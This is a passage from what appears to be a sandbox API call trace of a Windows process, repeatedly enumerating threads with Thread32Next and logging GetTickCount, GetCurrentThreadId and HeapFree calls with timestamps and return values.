lpte=0x9ba36c) returned 1 [0081.237] GetTickCount () returned 0x2a1b4 [0081.237] GetCurrentThreadId () returned 0x9b0 [0081.238] GetCurrentThreadId () returned 0x9b0 [0081.238] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.238] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.239] GetTickCount () returned 0x2a1b4 [0081.239] GetCurrentThreadId () returned 0x9b0 [0081.239] GetCurrentThreadId () returned 0x9b0 [0081.239] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.239] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.240] GetTickCount () returned 0x2a1b4 [0081.240] GetCurrentThreadId () returned 0x9b0 [0081.240] GetCurrentThreadId () returned 0x9b0 [0081.240] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.240] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.241] GetTickCount () returned 0x2a1b4 [0081.241] GetCurrentThreadId () returned 0x9b0 [0081.241] GetCurrentThreadId () returned 0x9b0 [0081.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.241] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.242] GetTickCount () returned 0x2a1b4 [0081.242] GetCurrentThreadId () returned 0x9b0 [0081.242] GetCurrentThreadId () returned 0x9b0 [0081.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.242] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.243] GetTickCount () returned 0x2a1b4 [0081.243] GetCurrentThreadId () returned 0x9b0 [0081.244] GetCurrentThreadId () returned 0x9b0 [0081.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.244] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.245] GetTickCount () returned 0x2a1b4 [0081.245] GetCurrentThreadId () returned 0x9b0 [0081.245] GetCurrentThreadId () returned 0x9b0 [0081.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.245] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.246] GetTickCount () returned 0x2a1b4 [0081.246] GetCurrentThreadId () returned 0x9b0 [0081.246] GetCurrentThreadId () returned 0x9b0 [0081.246] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.246] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.247] GetTickCount () returned 0x2a1b4 [0081.247] GetCurrentThreadId () returned 0x9b0 [0081.247] GetCurrentThreadId () returned 0x9b0 [0081.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.247] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.248] GetTickCount () returned 0x2a1b4 [0081.248] GetCurrentThreadId () returned 0x9b0 [0081.248] GetCurrentThreadId () returned 0x9b0 [0081.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.249] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.250] GetTickCount () returned 0x2a1b4 [0081.250] GetCurrentThreadId () returned 0x9b0 [0081.250] GetCurrentThreadId () returned 0x9b0 [0081.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.250] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.251] GetTickCount () returned 0x2a1b4 [0081.251] GetCurrentThreadId () returned 0x9b0 [0081.251] GetCurrentThreadId () returned 0x9b0 [0081.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0081.251] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.252] GetTickCount () returned 0x2a1c4 [0081.252] GetCurrentThreadId () returned 0x9b0 [0081.252] GetCurrentThreadId () returned 0x9b0 [0081.252] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.252] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.253] GetTickCount () returned 0x2a1c4 [0081.253] GetCurrentThreadId () returned 0x9b0 [0081.254] GetCurrentThreadId () returned 0x9b0 [0081.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.254] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.255] GetTickCount () returned 0x2a1c4 [0081.255] GetCurrentThreadId () returned 0x9b0 [0081.255] GetCurrentThreadId () returned 0x9b0 [0081.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.255] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.256] GetTickCount () returned 0x2a1c4 [0081.256] GetCurrentThreadId () returned 0x9b0 [0081.256] GetCurrentThreadId () returned 0x9b0 [0081.256] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.256] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.257] GetTickCount () returned 0x2a1c4 [0081.257] GetCurrentThreadId () returned 0x9b0 [0081.257] GetCurrentThreadId () returned 0x9b0 [0081.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.257] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.258] GetTickCount () returned 0x2a1c4 [0081.258] GetCurrentThreadId () returned 0x9b0 [0081.258] GetCurrentThreadId () returned 0x9b0 [0081.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.258] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.259] GetTickCount () returned 0x2a1c4 [0081.259] GetCurrentThreadId () returned 0x9b0 [0081.259] GetCurrentThreadId () returned 0x9b0 [0081.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.260] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.261] GetTickCount () returned 0x2a1c4 [0081.261] GetCurrentThreadId () returned 0x9b0 [0081.261] GetCurrentThreadId () returned 0x9b0 [0081.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.261] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.262] GetTickCount () returned 0x2a1c4 [0081.262] GetCurrentThreadId () returned 0x9b0 [0081.262] GetCurrentThreadId () returned 0x9b0 [0081.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.262] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.263] GetTickCount () returned 0x2a1c4 [0081.263] GetCurrentThreadId () returned 0x9b0 [0081.263] GetCurrentThreadId () returned 0x9b0 [0081.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.263] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.264] GetTickCount () returned 0x2a1c4 [0081.264] GetCurrentThreadId () returned 0x9b0 [0081.264] GetCurrentThreadId () returned 0x9b0 [0081.264] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.264] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.265] GetTickCount () returned 0x2a1c4 [0081.265] GetCurrentThreadId () returned 0x9b0 [0081.265] GetCurrentThreadId () returned 0x9b0 [0081.266] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.266] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.267] GetTickCount () returned 0x2a1c4 [0081.267] GetCurrentThreadId () returned 0x9b0 [0081.267] GetCurrentThreadId () returned 0x9b0 [0081.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.267] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.268] GetTickCount () returned 0x2a1d4 [0081.268] GetCurrentThreadId () returned 0x9b0 [0081.268] GetCurrentThreadId () returned 0x9b0 [0081.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.268] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.269] GetTickCount () returned 0x2a1d4 [0081.269] GetCurrentThreadId () returned 0x9b0 [0081.269] GetCurrentThreadId () returned 0x9b0 [0081.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.269] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.270] GetTickCount () returned 0x2a1d4 [0081.270] GetCurrentThreadId () returned 0x9b0 [0081.270] GetCurrentThreadId () returned 0x9b0 [0081.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.270] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.271] GetTickCount () returned 0x2a1d4 [0081.271] GetCurrentThreadId () returned 0x9b0 [0081.272] GetCurrentThreadId () returned 0x9b0 [0081.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.272] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.273] GetTickCount () returned 0x2a1d4 [0081.273] GetCurrentThreadId () returned 0x9b0 [0081.273] GetCurrentThreadId () returned 0x9b0 [0081.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.273] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.274] GetTickCount () returned 0x2a1d4 [0081.274] GetCurrentThreadId () returned 0x9b0 [0081.274] GetCurrentThreadId () returned 0x9b0 [0081.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.274] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.275] GetTickCount () returned 0x2a1d4 [0081.275] GetCurrentThreadId () returned 0x9b0 [0081.275] GetCurrentThreadId () returned 0x9b0 [0081.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.275] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.276] GetTickCount () returned 0x2a1d4 [0081.276] GetCurrentThreadId () returned 0x9b0 [0081.276] GetCurrentThreadId () returned 0x9b0 [0081.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.276] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.277] GetTickCount () returned 0x2a1d4 [0081.278] GetCurrentThreadId () returned 0x9b0 [0081.278] GetCurrentThreadId () returned 0x9b0 [0081.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.278] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.279] GetTickCount () returned 0x2a1d4 [0081.279] GetCurrentThreadId () returned 0x9b0 [0081.279] GetCurrentThreadId () returned 0x9b0 [0081.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.279] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.280] GetTickCount () returned 0x2a1d4 [0081.280] GetCurrentThreadId () returned 0x9b0 [0081.280] GetCurrentThreadId () returned 0x9b0 [0081.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.280] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.281] GetTickCount () returned 0x2a1d4 [0081.281] GetCurrentThreadId () returned 0x9b0 [0081.281] GetCurrentThreadId () returned 0x9b0 [0081.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.281] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.282] GetTickCount () returned 0x2a1d4 [0081.282] GetCurrentThreadId () returned 0x9b0 [0081.282] GetCurrentThreadId () returned 0x9b0 [0081.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.283] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.289] GetTickCount () returned 0x2a1e3 [0081.290] GetCurrentThreadId () returned 0x9b0 [0081.290] GetCurrentThreadId () returned 0x9b0 [0081.290] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.290] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.291] GetTickCount () returned 0x2a1e3 [0081.291] GetCurrentThreadId () returned 0x9b0 [0081.291] GetCurrentThreadId () returned 0x9b0 [0081.291] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.291] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.292] GetTickCount () returned 0x2a1e3 [0081.292] GetCurrentThreadId () returned 0x9b0 [0081.292] GetCurrentThreadId () returned 0x9b0 [0081.292] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.292] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.293] GetTickCount () returned 0x2a1e3 [0081.293] GetCurrentThreadId () returned 0x9b0 [0081.294] GetCurrentThreadId () returned 0x9b0 [0081.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.294] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.295] GetTickCount () returned 0x2a1e3 [0081.295] GetCurrentThreadId () returned 0x9b0 [0081.295] GetCurrentThreadId () returned 0x9b0 [0081.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.295] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.296] GetTickCount () returned 0x2a1e3 [0081.296] GetCurrentThreadId () returned 0x9b0 [0081.296] GetCurrentThreadId () returned 0x9b0 [0081.296] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.296] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.297] GetTickCount () returned 0x2a1e3 [0081.297] GetCurrentThreadId () returned 0x9b0 [0081.297] GetCurrentThreadId () returned 0x9b0 [0081.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.297] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.298] GetTickCount () returned 0x2a1f3 [0081.298] GetCurrentThreadId () returned 0x9b0 [0081.299] GetCurrentThreadId () returned 0x9b0 [0081.299] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.299] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.300] GetTickCount () returned 0x2a1f3 [0081.300] GetCurrentThreadId () returned 0x9b0 [0081.300] GetCurrentThreadId () returned 0x9b0 [0081.300] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.300] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.301] GetTickCount () returned 0x2a1f3 [0081.301] GetCurrentThreadId () returned 0x9b0 [0081.301] GetCurrentThreadId () returned 0x9b0 [0081.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19578 | out: hHeap=0x2ad0000) returned 1 [0081.301] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.302] GetTickCount () returned 0x2a1f3 [0081.302] GetCurrentThreadId () returned 0x9b0 [0081.302] GetCurrentThreadId () returned 0x9b0 [0081.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.303] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.304] GetTickCount () returned 0x2a1f3 [0081.304] GetCurrentThreadId () returned 0x9b0 [0081.304] GetCurrentThreadId () returned 0x9b0 [0081.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.304] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.305] GetTickCount () returned 0x2a1f3 [0081.305] GetCurrentThreadId () returned 0x9b0 [0081.305] GetCurrentThreadId () returned 0x9b0 [0081.305] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.305] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.306] GetTickCount () returned 0x2a1f3 [0081.306] GetCurrentThreadId () returned 0x9b0 [0081.306] GetCurrentThreadId () returned 0x9b0 [0081.306] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.306] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.307] GetTickCount () returned 0x2a1f3 [0081.307] GetCurrentThreadId () returned 0x9b0 [0081.307] GetCurrentThreadId () returned 0x9b0 [0081.307] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.308] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.309] GetTickCount () returned 0x2a1f3 [0081.309] GetCurrentThreadId () returned 0x9b0 [0081.309] GetCurrentThreadId () returned 0x9b0 [0081.309] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b98 | out: hHeap=0x2ad0000) returned 1 [0081.309] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.310] GetTickCount () returned 0x2a1f3 [0081.310] GetCurrentThreadId () returned 0x9b0 [0081.310] GetCurrentThreadId () returned 0x9b0 [0081.310] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.310] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.311] GetTickCount () returned 0x2a1f3 [0081.311] GetCurrentThreadId () returned 0x9b0 [0081.311] GetCurrentThreadId () returned 0x9b0 [0081.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.311] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.312] GetTickCount () returned 0x2a1f3 [0081.312] GetCurrentThreadId () returned 0x9b0 [0081.312] GetCurrentThreadId () returned 0x9b0 [0081.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.312] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.313] GetTickCount () returned 0x2a1f3 [0081.313] GetCurrentThreadId () returned 0x9b0 [0081.314] GetCurrentThreadId () returned 0x9b0 [0081.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0081.314] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.324] GetTickCount () returned 0x2a202 [0081.324] GetCurrentThreadId () returned 0x9b0 [0081.324] GetCurrentThreadId () returned 0x9b0 [0081.324] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.324] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.325] GetTickCount () returned 0x2a202 [0081.325] GetCurrentThreadId () returned 0x9b0 [0081.325] GetCurrentThreadId () returned 0x9b0 [0081.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.325] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.326] GetTickCount () returned 0x2a202 [0081.326] GetCurrentThreadId () returned 0x9b0 [0081.326] GetCurrentThreadId () returned 0x9b0 [0081.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.327] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.327] GetTickCount () returned 0x2a202 [0081.328] GetCurrentThreadId () returned 0x9b0 [0081.328] GetCurrentThreadId () returned 0x9b0 [0081.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.328] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.329] GetTickCount () returned 0x2a202 [0081.329] GetCurrentThreadId () returned 0x9b0 [0081.329] GetCurrentThreadId () returned 0x9b0 [0081.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.329] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.330] GetTickCount () returned 0x2a212 [0081.330] GetCurrentThreadId () returned 0x9b0 [0081.330] GetCurrentThreadId () returned 0x9b0 [0081.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.331] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.331] GetTickCount () returned 0x2a212 [0081.332] GetCurrentThreadId () returned 0x9b0 [0081.332] GetCurrentThreadId () returned 0x9b0 [0081.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19658 | out: hHeap=0x2ad0000) returned 1 [0081.332] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.333] GetTickCount () returned 0x2a212 [0081.333] GetCurrentThreadId () returned 0x9b0 [0081.333] GetCurrentThreadId () returned 0x9b0 [0081.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.333] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.334] GetTickCount () returned 0x2a212 [0081.334] GetCurrentThreadId () returned 0x9b0 [0081.334] GetCurrentThreadId () returned 0x9b0 [0081.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19b28 | out: hHeap=0x2ad0000) returned 1 [0081.334] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.335] GetTickCount () returned 0x2a212 [0081.335] GetCurrentThreadId () returned 0x9b0 [0081.335] GetCurrentThreadId () returned 0x9b0 [0081.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.335] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.336] GetTickCount () returned 0x2a212 [0081.336] GetCurrentThreadId () returned 0x9b0 [0081.336] GetCurrentThreadId () returned 0x9b0 [0081.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.338] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.339] GetTickCount () returned 0x2a212 [0081.339] GetCurrentThreadId () returned 0x9b0 [0081.339] GetCurrentThreadId () returned 0x9b0 [0081.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.339] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.340] GetTickCount () returned 0x2a212 [0081.340] GetCurrentThreadId () returned 0x9b0 [0081.340] GetCurrentThreadId () returned 0x9b0 [0081.341] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a197a8 | out: hHeap=0x2ad0000) returned 1 [0081.341] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.342] GetTickCount () returned 0x2a212 [0081.342] GetCurrentThreadId () returned 0x9b0 [0081.342] GetCurrentThreadId () returned 0x9b0 [0081.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0081.342] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.343] GetTickCount () returned 0x2a212 [0081.343] GetCurrentThreadId () returned 0x9b0 [0081.343] GetCurrentThreadId () returned 0x9b0 [0081.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.343] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.344] GetTickCount () returned 0x2a212 [0081.344] GetCurrentThreadId () returned 0x9b0 [0081.344] GetCurrentThreadId () returned 0x9b0 [0081.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0081.344] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.346] GetTickCount () returned 0x2a222 [0081.346] GetCurrentThreadId () returned 0x9b0 [0081.346] GetCurrentThreadId () returned 0x9b0 [0081.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0081.346] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.347] GetTickCount () returned 0x2a222 [0081.347] GetCurrentThreadId () returned 0x9b0 [0081.347] GetCurrentThreadId () returned 0x9b0 [0081.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.348] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.349] GetTickCount () returned 0x2a222 [0081.349] GetCurrentThreadId () returned 0x9b0 [0081.349] GetCurrentThreadId () returned 0x9b0 [0081.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0081.349] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.350] GetTickCount () returned 0x2a222 [0081.350] GetCurrentThreadId () returned 0x9b0 [0081.350] GetCurrentThreadId () returned 0x9b0 [0081.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a195e8 | out: hHeap=0x2ad0000) returned 1 [0081.350] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.351] GetTickCount () returned 0x2a222 [0081.351] GetCurrentThreadId () returned 0x9b0 [0081.351] GetCurrentThreadId () returned 0x9b0 [0081.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19a48 | out: hHeap=0x2ad0000) returned 1 [0081.351] Thread32Next (hSnapshot=0x37c, lpte=0x9ba36c) returned 1 [0081.352] GetTickCount () returned 0x2a222 [0081.352] GetCurrentThreadId () returned 0x9b0 [0081.352] GetCurrentThreadId () returned 0x9b0 [0081.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 